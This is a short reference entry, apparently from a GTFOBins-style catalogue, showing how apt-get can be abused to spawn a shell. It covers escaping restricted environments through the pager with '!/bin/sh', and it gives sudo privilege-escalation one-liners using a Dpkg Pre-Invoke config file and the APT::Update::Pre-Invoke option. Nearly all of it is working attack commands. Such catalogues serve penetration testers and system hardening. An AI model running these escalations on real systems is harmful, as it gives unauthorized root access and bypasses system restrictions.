





## Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

This invokes the default pager, which is likely to be <u>less</u>, other functions may apply.

```
apt-get changelog apt
!/bin/sh
```

## Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

(a)
This invokes the default pager, which is likely to be <a href="Less">Less</a>, other functions may apply.

```
sudo apt-get changelog apt
!/bin/sh
```

(b) For this to work the target package (e.g., s1) must not be installed.

```
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt-get install -c $TF sl
```

(c) When the shell exits the update command is actually executed.

```
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
```